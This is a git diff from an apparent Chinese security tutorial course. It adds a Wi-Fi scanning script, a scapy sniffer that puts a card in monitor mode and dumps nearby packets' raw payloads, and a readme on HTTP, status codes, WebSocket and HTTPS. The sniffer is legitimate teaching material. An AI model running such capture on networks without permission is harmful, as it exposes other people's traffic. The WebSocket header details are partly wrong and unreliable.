\346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/code/wlanScan.py" @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +import pywifi + +def bies(): + wifi=pywifi.PyWiFi()#创建一个无限对象 + ifaces=wifi.interfaces()[0]#取一个无线网卡 + ifaces.scan()#扫描 + bessis=ifaces.scan_results() + for i in range(len(bessis)): + print(bessis[i].ssid, bessis[i].signal) + + +bies() \ No newline at end of file diff --git "a/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/code/wlanSniffer.py" "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/code/wlanSniffer.py" new file mode 100644 index 0000000..ba60c65 --- /dev/null +++ "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/code/wlanSniffer.py" @@ -0,0 +1,30 @@ +import os +from scapy.all import * + +iface = "en0" + +os.system("/usr/sbin/iwconfig " + iface + " mode monitor") + +# Dump packets that are not beacons, probe request / responses +def dump_packet(pkt): + if not pkt.haslayer(Dot11Beacon) and \ + not pkt.haslayer(Dot11ProbeReq) and \ + not pkt.haslayer(Dot11ProbeResp): + print(pkt.summary()) + + if pkt.haslayer(Raw): + print(hexdump(pkt.load)) + print("\n") + + +while True: + for channel in range(1, 14): + os.system("/usr/sbin/iwconfig " + iface + \ + " channel " + str(channel)) + print("Sniffing on channel " + str(channel)) + + sniff(iface=iface, + prn=dump_packet, + count=10, + timeout=3, + store=0) \ No newline at end of file diff --git "a/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/0.jpg" "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/0.jpg" differ diff --git "a/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/00.jpeg" "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/00.jpeg" differ diff --git "a/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/1.png" "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/1.png" new file mode 100644 index 0000000..a0435cc Binary files /dev/null and "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/1.png" differ diff --git "a/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/2.png" "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/2.png" new file mode 100644 index 0000000..11952da Binary files /dev/null and "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/2.png" differ diff --git "a/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/3.png" "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/3.png" new file mode 100644 index 0000000..9bdcac7 Binary files /dev/null and "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/3.png" differ diff --git "a/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/4.png" "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/4.png" new file mode 100644 index 0000000..27e389b Binary files /dev/null and "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/4.png" differ diff --git "a/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/readme.md" "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/readme.md" new file mode 100644 index 0000000..471d019 --- /dev/null +++ "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/readme.md" @@ -0,0 +1,15 @@ +## 3.9 DNS欺骗 + + +[点击下载本节pdf](https://t.zsxq.com/ZnUvvJ2) + +下一节开始,我们开始学习 web 安全。 + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + 本系列教程全部内容在玄说安全--入门圈发布,并提供答疑和辅导。 + +![](img/00.jpeg) \ No newline at end of file diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/2.2.pdf" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/2.2.pdf" new file mode 100644 index 0000000..2f0b12e Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/2.2.pdf" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/0 copy.jpg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/0 copy.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/0 copy.jpg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/0.jpg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/0.jpg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/00 copy.jpeg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/00 copy.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/00 copy.jpeg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/00.jpeg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/00.jpeg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/1.jpg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/1.jpg" new file mode 100644 index 0000000..fdf5aad Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/1.jpg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/10.png" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/10.png" new file mode 100644 index 0000000..a47d842 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/10.png" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/11.png" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/11.png" new file mode 100644 index 0000000..25d3102 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/11.png" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/12.png" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/12.png" new file mode 100644 index 0000000..61f621a Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/12.png" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/13.png" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/13.png" new file mode 100644 index 0000000..3b8ef29 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/13.png" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/2.png" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/2.png" new file mode 100644 index 0000000..2c75b01 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/2.png" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/3.jpg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/3.jpg" new file mode 100644 index 0000000..c0d894b Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/3.jpg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/4.jpg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/4.jpg" new file mode 100644 index 0000000..f3dbc79 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/4.jpg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/5.jpg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/5.jpg" new file mode 100644 index 0000000..7aacd01 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/5.jpg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/6.jpg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/6.jpg" new file mode 100644 index 0000000..985f486 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/6.jpg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/7.jpg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/7.jpg" new file mode 100644 index 0000000..f85a400 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/7.jpg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/8.jpg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/8.jpg" new file mode 100644 index 0000000..37b6779 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/8.jpg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/9.jpg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/9.jpg" new file mode 100644 index 0000000..e30b328 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/9.jpg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/readme.md" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/readme.md" new file mode 100644 index 0000000..eeda0f5 --- /dev/null +++ "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/readme.md" @@ -0,0 +1,396 @@ +## 协议概览 + +Web应用已经是当前互联网上数量最多、应用最广的应用形式了,Web 安全问题也是计算机网络安全中关注度最高的领域。Web应用起源于HTTP协议。由于HTTP是纯文本传输协议,无法加密传输数据,在此基础上出现了HTTPS、SSL。随着Web应用的发展,又推出了全双工通信的WebSocket协议。如今HTTP协议更新换代,HTTP/2标准正在越来越多的被支持。 + +理解Web安全,首先要从理解协议开始。本节对笔者认为应该重点了解的Web协议做一个概览性描述。更细节的内容,还需要大家去阅读规范文档或者书籍。 + +### 4.1.1 HTTP 协议 + +HTTP协议(或超文本传输​​协议)是用于在因特网上传输文件的网络协议。它是一种无状态协议,不仅可用于发送文件,还可用于发送资源(如动态生成的查询结果,CGI脚本的输出和其他数据)。HTTP资源由统一资源标识符(URI)或统一资源定位符(或URL)标识并位于Internet上。 + +HTTP/1.1 是当前版本主要应用的HTTP版本,是对 HTTP/1.0 的修订。HTTP/1.1 允许传输流数据。在 [W3C网站](https://www.w3.org/Protocols/rfc2616/rfc2616.html)可以阅读 HTTP/1.1 的详细内容。 + +HTTP协议具有设备无关性,可以从各种类型的主机和客户端之间进行通信。主机和客户端之间的通信通过 请求(Request)/响应(Response) 进行。 + +![](./img/1.jpg) + +Web浏览器是HTTP客户端,因为它将请求发送到HTTP服务器(或Web服务器),然后HTTP服务器使用所需资源响应浏览器。 + +在发送HTTP请求之前,浏览器会先和服务端建立TCP连接(通常是80端口)。HTTP Server 在预定义端口上的等待客户端消息。请求由状态行和消息体组成。消息正文作为请求的资源返回,也可能返回错误消息或其他信息。 + +客户端使用“请求方法”向HTTP服务器发送请求消息。 +![](./img/2.png) + +如上图,使用Chrome浏览的开发者工具可以很方便的查看HTTP请求和响应的信息。 + +HTTP协议指定的“请求方法”如下: + +
+
GET
+
GET方法请求一个指定资源的表示形式. 使用GET的请求应该只被用于获取数据.
+
HEAD
+
HEAD方法请求一个与GET请求的响应相同的响应,但没有响应体.
+
POST
+
POST方法用于将实体提交到指定的资源,通常导致在服务器上的状态变化或副作用. 
+
PUT
+
PUT方法用请求有效载荷替换目标资源的所有当前表示。
+
DELETE
+
DELETE方法删除指定的资源。
+
CONNECT
+
CONNECT方法建立一个到由目标资源标识的服务器的隧道。
+
OPTIONS
+
OPTIONS方法用于描述目标资源的通信选项。
+
TRACE
+
TRACE方法沿着到目标资源的路径执行一个消息环回测试。
+
PATCH
+
PATCH方法用于对资源应用部分修改。
+
+ +
+
+ +HTTP响应的第一行称为状态行。状态行包括数字状态代码和原因短语。状态代码可帮助客户端解释从服务器收到的响应。下面列出了一些以1,2,3,4和5号开头的最常用的状态码。以下内容来自MDN(https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Status) + +--- + +#### 信息响应 + +
+
100 Continue
+
这个临时响应表明,迄今为止的所有内容都是可行的,客户端应该继续请求,如果已经完成,则忽略它。
+
101 Switching Protocol
+
该代码是响应客户端的 Upgrade 标头发送的,并且指示服务器也正在切换的协议。
+
102 Processing (WebDAV)
+
此代码表示服务器已收到并正在处理该请求,但没有响应可用。
+
103 Early Hints 
+
此状态代码主要用于与Link 链接头一起使用,以允许用户代理在服务器仍在准备响应时开始预加载资源。
+
+ +#### 成功响应 + +
+
200 OK
+
+

请求成功。成功的含义取决于HTTP方法:

+ +
    +
  • GET:资源已被提取并在消息正文中传输。
  • +
  • HEAD:实体标头位于消息正文中。
  • +
  • POST:描述动作结果的资源在消息体中传输。
  • +
  • TRACE:消息正文包含服务器收到的请求消息
  • +
+
+
201 Created
+
该请求已成功,并因此创建了一个新的资源。这通常是在POST请求,或是某些PUT请求之后返回的响应。
+
202 Accepted
+
请求已经接收到,但还未响应,没有结果。意味着不会有一个异步的响应去表明当前请求的结果,预期另外的进程和服务去处理请求,或者批处理。
+
203 Non-Authoritative Information
+
服务器已成功处理了请求,但返回的实体头部元信息不是在原始服务器上有效的确定集合,而是来自本地或者第三方的拷贝。当前的信息可能是原始版本的子集或者超集。例如,包含资源的元数据可能导致原始服务器知道元信息的超集。使用此状态码不是必须的,而且只有在响应不使用此状态码便会返回200 OK的情况下才是合适的。
+
204 No Content
+
服务器成功处理了请求,但不需要返回任何实体内容,并且希望返回更新了的元信息。响应可能通过实体头部的形式,返回新的或更新后的元信息。如果存在这些头部信息,则应当与所请求的变量相呼应。如果客户端是浏览器的话,那么用户浏览器应保留发送了该请求的页面,而不产生任何文档视图上的变化,即使按照规范新的或更新后的元信息应当被应用到用户浏览器活动视图中的文档。由于204响应被禁止包含任何消息体,因此它始终以消息头后的第一个空行结尾。
+
205 Reset Content
+
服务器成功处理了请求,且没有返回任何内容。但是与204响应不同,返回此状态码的响应要求请求者重置文档视图。该响应主要是被用于接受用户输入后,立即重置表单,以便用户能够轻松地开始另一次输入。与204响应一样,该响应也被禁止包含任何消息体,且以消息头后的第一个空行结束。
+
206 Partial Content
+
服务器已经成功处理了部分 GET 请求。类似于 FlashGet 或者迅雷这类的 HTTP 下载工具都是使用此类响应实现断点续传或者将一个大文档分解为多个下载段同时下载。该请求必须包含 Range 头信息来指示客户端希望得到的内容范围,并且可能包含 If-Range 来作为请求条件。
+
207 Multi-Status (WebDAV)
+
由WebDAV(RFC 2518)扩展的状态码,代表之后的消息体将是一个XML消息,并且可能依照之前子请求数量的不同,包含一系列独立的响应代码。
+
208 Multi-Status (WebDAV)
+
在 DAV 里面使用: propstat 响应元素以避免重复枚举多个绑定的内部成员到同一个集合。
+
226 IM Used (HTTP Delta encoding)
+
服务器已经完成了对资源的 GET 请求,并且响应是对当前实例应用的一个或多个实例操作结果的表示。
+
+ +#### 重定向 + +
+
300 Multiple Choice
+
被请求的资源有一系列可供选择的回馈信息,每个都有自己特定的地址和浏览器驱动的商议信息。用户或浏览器能够自行选择一个首选的地址进行重定向。
+
301 Moved Permanently
+
被请求的资源已永久移动到新位置,并且将来任何对此资源的引用都应该使用本响应返回的若干个 URI 之一。如果可能,拥有链接编辑功能的客户端应当自动把请求的地址修改为从服务器反馈回来的地址。除非额外指定,否则这个响应也是可缓存的。
+
302 Found
+
请求的资源现在临时从不同的 URI 响应请求。由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求。只有在Cache-Control或Expires中进行了指定的情况下,这个响应才是可缓存的。
+
303 See Other
+
对应当前请求的响应可以在另一个 URI 上被找到,而且客户端应当采用 GET 的方式访问那个资源。这个方法的存在主要是为了允许由脚本激活的POST请求输出重定向到一个新的资源。
+
304 Not Modified
+
如果客户端发送了一个带条件的 GET 请求且该请求已被允许,而文档的内容(自上次访问以来或者根据请求的条件)并没有改变,则服务器应当返回这个状态码。304 响应禁止包含消息体,因此始终以消息头后的第一个空行结尾。
+
305 Use Proxy
+
被请求的资源必须通过指定的代理才能被访问。Location 域中将给出指定的代理所在的 URI 信息,接收者需要重复发送一个单独的请求,通过这个代理才能访问相应资源。只有原始服务器才能建立305响应。
+
306 unused
+
在最新版的规范中,306 状态码已经不再被使用。
+
307 Temporary Redirect
+
请求的资源现在临时从不同的URI 响应请求。由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求。只有在Cache-Control或Expires中进行了指定的情况下,这个响应才是可缓存的。
+
308 Permanent Redirect
+
这意味着资源现在永久位于由 Location: HTTP Response 标头指定的另一个 URI。 这与 301 Moved Permanently HTTP 响应代码具有相同的语义,但用户代理不能更改所使用的 HTTP 方法:如果在第一个请求中使用 POST,则必须在第二个请求中使用 POST
+
+ + +#### 客户端请求错误 + +
+
400 Bad Request
+
1、语义有误,当前请求无法被服务器理解。除非进行修改,否则客户端不应该重复提交这个请求。
+
2、请求参数有误。
+
401 Unauthorized
+
当前请求需要用户验证。该响应必须包含一个适用于被请求资源的 WWW-Authenticate 信息头用以询问用户信息。客户端可以重复提交一个包含恰当的 Authorization 头信息的请求。如果当前请求已经包含了 Authorization 证书,那么401响应代表着服务器验证已经拒绝了那些证书。如果401响应包含了与前一个响应相同的身份验证询问,且浏览器已经至少尝试了一次验证,那么浏览器应当向用户展示响应中包含的实体信息,因为这个实体信息中可能包含了相关诊断信息。
+
402 Payment Required
+
此响应码保留以便将来使用,创造此响应码的最初目的是用于数字支付系统,然而现在并未使用。
+
403 Forbidden
+
服务器已经理解请求,但是拒绝执行它。与 401 响应不同的是,身份验证并不能提供任何帮助,而且这个请求也不应该被重复提交。如果这不是一个 HEAD 请求,而且服务器希望能够讲清楚为何请求不能被执行,那么就应该在实体内描述拒绝的原因。当然服务器也可以返回一个 404 响应,假如它不希望让客户端获得任何信息。
+
404 Not Found
+
请求失败,请求所希望得到的资源未被在服务器上发现。没有信息能够告诉用户这个状况到底是暂时的还是永久的。假如服务器知道情况的话,应当使用410状态码来告知旧资源因为某些内部的配置机制问题,已经永久的不可用,而且没有任何可以跳转的地址。404这个状态码被广泛应用于当服务器不想揭示到底为何请求被拒绝或者没有其他适合的响应可用的情况下。
+
405 Method Not Allowed
+
请求行中指定的请求方法不能被用于请求相应的资源。该响应必须返回一个Allow 头信息用以表示出当前资源能够接受的请求方法的列表。 鉴于 PUT,DELETE 方法会对服务器上的资源进行写操作,因而绝大部分的网页服务器都不支持或者在默认配置下不允许上述请求方法,对于此类请求均会返回405错误。
+
406 Not Acceptable
+
请求的资源的内容特性无法满足请求头中的条件,因而无法生成响应实体。
+
407 Proxy Authentication Required
+
与401响应类似,只不过客户端必须在代理服务器上进行身份验证。代理服务器必须返回一个 Proxy-Authenticate 用以进行身份询问。客户端可以返回一个 Proxy-Authorization 信息头用以验证。
+
408 Request Timeout
+
请求超时。客户端没有在服务器预备等待的时间内完成一个请求的发送。客户端可以随时再次提交这一请求而无需进行任何更改。
+
409 Conflict
+
由于和被请求的资源的当前状态之间存在冲突,请求无法完成。这个代码只允许用在这样的情况下才能被使用:用户被认为能够解决冲突,并且会重新提交新的请求。该响应应当包含足够的信息以便用户发现冲突的源头。
+
410 Gone
+
被请求的资源在服务器上已经不再可用,而且没有任何已知的转发地址。这样的状况应当被认为是永久性的。如果可能,拥有链接编辑功能的客户端应当在获得用户许可后删除所有指向这个地址的引用。如果服务器不知道或者无法确定这个状况是否是永久的,那么就应该使用 404 状态码。除非额外说明,否则这个响应是可缓存的。
+
411 Length Required
+
服务器拒绝在没有定义 Content-Length 头的情况下接受请求。在添加了表明请求消息体长度的有效 Content-Length 头之后,客户端可以再次提交该请求。
+
412 Precondition Failed
+
服务器在验证在请求的头字段中给出先决条件时,没能满足其中的一个或多个。这个状态码允许客户端在获取资源时在请求的元信息(请求头字段数据)中设置先决条件,以此避免该请求方法被应用到其希望的内容以外的资源上。
+
413 Payload Too Large
+
服务器拒绝处理当前请求,因为该请求提交的实体数据大小超过了服务器愿意或者能够处理的范围。此种情况下,服务器可以关闭连接以免客户端继续发送此请求。如果这个状况是临时的,服务器应当返回一个 Retry-After 的响应头,以告知客户端可以在多少时间以后重新尝试。
+
414 URI Too Long
+
请求的URI 长度超过了服务器能够解释的长度,因此服务器拒绝对该请求提供服务。这比较少见,通常的情况包括:本应使用POST方法的表单提交变成了GET方法,导致查询字符串(Query String)过长。
+
415 Unsupported Media Type
+
对于当前请求的方法和所请求的资源,请求中提交的实体并不是服务器中所支持的格式,因此请求被拒绝。
+
416 Requested Range Not Satisfiable
+
如果请求中包含了 Range 请求头,并且 Range 中指定的任何数据范围都与当前资源的可用范围不重合,同时请求中又没有定义 If-Range 请求头,那么服务器就应当返回416状态码。
+
417 Expectation Failed
+
此响应代码意味着服务器无法满足 Expect 请求标头字段指示的期望值。
+
418 I'm a teapot
+
服务器拒绝尝试用 茶壶冲泡咖啡
+
421 Misdirected Request
+
该请求针对的是无法产生响应的服务器。 这可以由服务器发送,该服务器未配置为针对包含在请求 URI 中的方案和权限的组合产生响应。
+
422 Unprocessable Entity (WebDAV)
+
请求格式良好,但由于语义错误而无法遵循。
+
423 Locked (WebDAV)
+
正在访问的资源被锁定。
+
424 Failed Dependency (WebDAV)
+
由于先前的请求失败,所以此次请求失败。
+
425 Too Early
+
服务器不愿意冒着风险去处理可能重播的请求。
+
+
426 Upgrade Required
+
服务器拒绝使用当前协议执行请求,但可能在客户机升级到其他协议后愿意这样做。 服务器在 426 响应中发送 Upgrade 头以指示所需的协议。
+
428 Precondition Required
+
原始服务器要求该请求是有条件的。 旨在防止“丢失更新”问题,即客户端获取资源状态,修改该状态并将其返回服务器,同时第三方修改服务器上的状态,从而导致冲突。
+
429 Too Many Requests
+
用户在给定的时间内发送了太多请求(“限制请求速率”)。
+
431 Request Header Fields Too Large
+
服务器不愿意处理请求,因为它的 请求头字段太大( Request Header Fields Too Large)。 请求可以在减小请求头字段的大小后重新提交。
+
451 Unavailable For Legal Reasons
+
用户请求非法资源,例如:由政府审查的网页。
+
+ +#### 服务端响应错误 + +
+
500 Internal Server Error
+
服务器遇到了不知道如何处理的情况。
+
501 Not Implemented
+
此请求方法不被服务器支持且无法被处理。只有GETHEAD是要求服务器支持的,它们必定不会返回此错误代码。
+
502 Bad Gateway
+
此错误响应表明服务器作为网关需要得到一个处理这个请求的响应,但是得到一个错误的响应。
+
503 Service Unavailable
+
服务器没有准备好处理请求。 常见原因是服务器因维护或重载而停机。 请注意,与此响应一起,应发送解释问题的用户友好页面。 这个响应应该用于临时条件和 Retry-After:如果可能的话,HTTP头应该包含恢复服务之前的估计时间。 网站管理员还必须注意与此响应一起发送的与缓存相关的标头,因为这些临时条件响应通常不应被缓存。
+
504 Gateway Timeout
+
当服务器作为网关,不能及时得到响应时返回此错误代码。
+
505 HTTP Version Not Supported
+
服务器不支持请求中所使用的HTTP协议版本。
+
506 Variant Also Negotiates
+
服务器有一个内部配置错误:对请求的透明内容协商导致循环引用。
+
507 Insufficient Storage
+
服务器有内部配置错误:所选的变体资源被配置为参与透明内容协商本身,因此不是协商过程中的适当端点。
+
508 Loop Detected (WebDAV)
+
服务器在处理请求时检测到无限循环。
+
510 Not Extended
+
客户端需要对请求进一步扩展,服务器才能实现它。服务器会回复客户端发出扩展请求所需的所有信息。
+
511 Network Authentication Required
+
511 状态码指示客户端需要进行身份验证才能获得网络访问权限。
+
+ +--- + +根据HTTP规范,请求或响应消息具有特定结构。通用结构如下所示: + +![](./img/3.jpg) + +必须在消息HTTP标头和正文之间放置新行。可以有一个或多个HTTP标头,如: + +``` +General Headers +Request Specific Headers +Response Specific Headers +Entity Headers +``` + +很少的几个头可以被请求和响应公共: + +![](./img/4.jpg) + +实体标头提供有正文的元信息。看起来像: + +![](./img/5.jpg) + +虽然HTTP支持自定义头,但它只查找请求和响应头。 + +请求消息具有通用结构。如下所示: + +![](./img/6.jpg) + +下图是一个简单示例: + +![](./img/7.jpg) + +响应格式结构类似于请求消息。仅状态行和标头与请求消息不同。状态行结构如下: + +![](./img/8.jpg) + +成功消息的状态行如下所示: + +``` +HTTP/1.1 200 OK +``` + +完整的响应头看起来像: + +![](./img/9.jpg) + +### 4.1.2 Web 服务(Web Services) + +援引维基百科上的定义:\ +“ +Web服务是一种服务导向架构的技术,通过标准的Web协议提供服务,目的是保证不同平台的应用服务可以互操作。 + +根据W3C的定义,Web服务(Web service)应当是一个软件系统,用以支持网络间不同机器的互动操作。网络服务通常是许多应用程序接口(API)所组成的,它们透过网络,例如国际互联网(Internet)的远程服务器端,执行客户所提交服务的请求。 +” + +一个Web服务必须满足以下条件: +1. 可以通过网络搜索Web服务,也可以被调用。 +2. 调用时,Web服务将能够为调用该Web服务的客户端提供功能。 + + +WEB服务实际上是一组工具,并有多种不同的方法调用之。三种最普遍的手段是:远程过程调用(RPC),服务导向架构(SOA)以及表述性状态转移(REST)。 + +**远程过程调用:** + +WEB服务提供一个分布式函数或方法接口供用户调用,这是一种比较传统的方式。通常,在WSDL中对RPC接口进行定义(类似于早期的XML-RPC)。 + +尽管最初的WEB服务广泛采用RPC方式部署,但针对其过于紧密之耦合性的批评声也随之不断。这是因为RPC式WEB服务实质上是利用一个简单的映射,以把用户请求直接转化成为一个特定语言编写的函数或方法。如今,多数服务提供商认定此种方式在未来将难有作为,在他们的推动下,WS-I基本协议集(WS-I Basic Profile)已不再支持远程过程调用。 + +**服务导向架构:** + +现在,业界比较关注的是遵从服务导向架构(Service-oriented architecture,SOA)概念来构筑WEB服务。在服务导向架构中,通讯由消息驱动,而不再是某个动作(方法调用)。这种WEB服务也被称作面向消息的服务。 + +SOA式WEB服务得到了大部分主要软件供应商以及业界专家的支持和肯定。作为与RPC方式的最大差别,SOA方式更加关注如何去连接服务而不是去特定某个实现的细节。WSDL定义了联络服务的必要内容。 + +**表述性状态转移:** + +表述性状态转移式(Representational state transfer,REST)WEB服务类似于HTTP或其他类似协议,它们把接口限定在一组广为人知的标准动作中(比如HTTP的GET、PUT、DELETE)以供调用。此类WEB服务关注与那些稳定的资源的互动,而不是消息或动作。 + +此种服务可以通过WSDL来描述SOAP消息内容,通过HTTP限定动作接口;或者完全在SOAP中对动作进行抽象。 + +### 4.1.3 WebSocket + +WebSocket是基于TCP协议的双工协议。浏览器通过HTTP连接向服务器发送WebSocket握手请求来升级连接,从而启动WebSocket连接。除了升级请求标头之外,握手请求还包括64位Sec-WebSocket-Key标头。服务器使用Sec-Websocket-Auth头中的密钥哈希进行响应。基本流程如下图所示: + +![](./img/10.png) + +从建立连接开始,整个通信都是基于二进制的,不符合HTTP协议。服务器应用程序知道所有WebSocket连接,并且可以单独与每个连接进行通信。当WebSocket保持打开状态时,服务器或用户可以随时发送消息,直到其中一个关闭会话。可以在任一端启动通信,这使得事件驱动的Web编程成为可能。相反,标准HTTP仅允许用户请求新数据。 + +下面给出了WebSocket数据帧的统一格式。熟悉TCP/IP协议的同学对这样的图应该不陌生。 + +从左到右,单位是比特。比如FIN、RSV1各占据1比特,opcode占据4比特。 +内容包括了标识、操作代码、掩码、数据、数据长度等。 + +![](./img/11.png) + +WebSocket协议详细内容请阅读[rfc6455文档](https://tools.ietf.org/html/rfc6455) + +#### 4.1.4 Https + +HTTPS代表超文本传输​​协议安全。它是用于保护两个系统之间通信的协议,例如浏览器和Web服务器。下图说明了通过http和https进行通信的区别: + +![](./img/12.png) + +如上图所示,http以超文本格式在浏览器和Web服务器之间传输数据,而https以加密格式传输数据。因此,https可防止黑客在浏览器和Web服务器之间传输期间读取和修改数据。即使黑客设法拦截通信,他们也无法使用它,因为消息是加密的。 + +HTTPS使用安全套接字层(SSL)或传输层安全(TLS)协议在浏览器和Web服务器之间建立加密链接。TLS是SSL的新版本。 + +SSL是用于在两个系统之间建立加密链接的标准安全技术。这些可以是浏览器到服务器,服务器到服务器或客户端到服务器。基本上,SSL确保两个系统之间的数据传输保持加密和私密。 + +https本质上是http over SSL。SSL使用SSL证书建立加密链接,SSL证书也称为数字证书。 + +![](./img/13.png) + +HTTP 和 HTTPS的简单对比如下: + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ http + + https +
+ 以超文本(结构化文本)格式传输数据 + + 以加密格式传输数据 +
+ 默认使用端口80 + + 默认使用端口443 +
+ 不安全 + + 使用SSL技术保护安全 +
+ 以 http://开始 + + 以 https://开始 +
